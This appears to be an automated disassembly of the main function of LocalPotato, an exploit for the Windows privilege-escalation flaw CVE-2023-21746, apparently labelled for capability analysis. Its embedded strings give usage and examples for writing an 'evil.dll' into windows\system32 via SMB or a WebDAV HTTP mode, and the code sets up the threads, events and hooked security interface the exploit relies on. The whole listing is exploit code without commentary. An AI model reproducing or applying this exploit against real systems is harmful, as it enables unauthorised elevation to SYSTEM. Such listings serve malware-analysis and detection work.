Function at 0x140002460
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0xa0
mov rax, qword [0x14002b008]
xor rax, rsp
mov qword [rsp + 0x90], rax
mov ebx, ecx
mov rdi, rdx
lea rcx, str._n_n_t_LocalPotato__aka_CVE_2023_21746__HTTP_WebDAV___n
call fcn.140001010
lea rcx, str._t_by_splinter_code__decoder_it_n_n
call fcn.140001010
mov eax, dword [0x140026e68]
lea rsi, [rsp + 0x40]
movaps xmm0, xmmword [str.854A20FB_2D44_457D_992F_EF13785D2B51]
lea rbp, [rsp + 0x30]
movaps xmm1, xmmword [0x140026e30]
mov edx, 1
mov r9, qword [0x14002cec0]
mov r10, qword [0x14002ceb8]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm0, xmmword [0x140026e40]
movaps xmmword [rsp + 0x60], xmm0
movsd xmm0, qword [0x140026e60]
mov dword [rsp + 0x88], eax
movzx eax, word [0x140026e6c]
movsd qword [rsp + 0x80], xmm0
movsd xmm0, qword [str.10247]
movaps xmmword [rsp + 0x50], xmm1
movaps xmm1, xmmword [0x140026e50]
mov word [rsp + 0x8c], ax
mov eax, dword [0x140026e78]
movsd qword [rsp + 0x30], xmm0
movaps xmmword [rsp + 0x70], xmm1
mov dword [rsp + 0x38], eax
cmp ebx, edx
jle 0x140002605
lea r11, [0x140000000]
nop word [rax + rax]
movsxd rax, edx
mov r8, qword [rdi + rax*8]
cmp word [r8], 0x2d
jne 0x140002605
movzx eax, word [r8 + 2]
add eax, 0xffffff9d
cmp eax, 0x12
ja case.0x140002580.100
cdqe
mov ecx, dword [r11 + rax*4 + 0x2778]
add rcx, r11
jmp rcx
inc edx
movsxd rax, edx
mov rsi, qword [rdi + rax*8]
jmp 0x1400025f3
inc edx
movsxd rax, edx
mov rbp, qword [rdi + rax*8]
jmp 0x1400025f3
inc edx
movsxd rax, edx
mov r9, qword [rdi + rax*8]
lea rcx, [rdi + rax*8]
cmp word [r9], 0x5c
jne 0x1400025b6
lea rax, [r9 + 2]
mov r9, rax
mov qword [rcx], rax
mov qword [0x14002cec0], r9
jmp 0x1400025f3
inc edx
movsxd rax, edx
mov rcx, qword [rdi + rax*8]
mov qword [0x14002cec8], rcx
jmp 0x1400025f3
inc edx
movsxd rax, edx
mov rcx, qword [rdi + rax*8]
mov qword [0x14002ceb0], rcx
jmp 0x1400025f3
inc edx
movsxd rax, edx
mov r10, qword [rdi + rax*8]
mov qword [0x14002ceb8], r10
mov eax, 0xfffffffe
inc edx
add ebx, eax
cmp ebx, 1
jg 0x140002550
test r9, r9
jne 0x14000266d
test r10, r10
jne 0x14000267c
lea rcx, [0x140026ee8]
call fcn.140001010
lea rcx, str.Mandatory_Args:__nSMB:_n_t_i_Source_file_to_copy_for_SMB_n_t_o_Output_file_for_SMB___do_not_specify_the_drive_letter_nHTTP:_n_t_r_host_ip_for_HTTP_n_t_u_target_URL_for_HTTP_n
call fcn.140001010
lea rcx, str._nOptional_Args:__n_c_CLSID__Default_854A20FB_2D44_457D_992F_EF13785D2B51__n_p_COM_server_port__Default_10271__n
call fcn.140001010
lea rcx, str._nExamples:__n__SMB:_n_t_LocalPotato.exe__i_c:hackerevil.dll__o_windows_system32evil.dll_n__HTTP_WebDAV:_n_t_LocalPotato.exe__r_127.0.0.1__u__webdavshare_potato.local_n_n
call fcn.140001010
mov eax, 1
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.140004020
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
cmp qword [0x14002cec8], 0
je 0x14000260f
test r10, r10
je 0x140002686
cmp qword [0x14002ceb0], 0
je 0x14000260f
xor ebx, ebx
lea r8, [0x140002c70]
xor edx, edx
mov qword [rsp + 0x28], rbx
xor ecx, ecx
mov dword [rsp + 0x20], ebx
test r9, r9
jne 0x1400026a8
lea r8, [0x140001350]
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdi, rax
lea edx, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventW]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov qword [0x14002cea0], rax
lea edx, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventW]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov qword [0x14002ce80], rax
lea edx, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [0x14002ce88], rax
mov dword [0x14002cea8], ebx
call qword [sym.imp.Secur32.dll_InitSecurityInterfaceW]
lea rcx, [0x140001070]
mov r8, rdi
mov rdx, rbp
mov qword [rax + 0x38], rcx
mov rcx, rsi
call fcn.140002810
mov edx, 0xbb8
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x140002745
lea rcx, str.____The_privileged_process_failed_to_communicate_with_our_COM_Server_:_
call fcn.140001010
xor eax, eax
jmp 0x140002644
call fcn.1400027d0
xor ecx, ecx
call fcn.14000d508
int3
mov rdx, r8
lea rcx, str.Wrong_Argument:__S_n
call fcn.140001010
call fcn.1400027d0
mov ecx, 0xffffffff
call fcn.14000d508
int3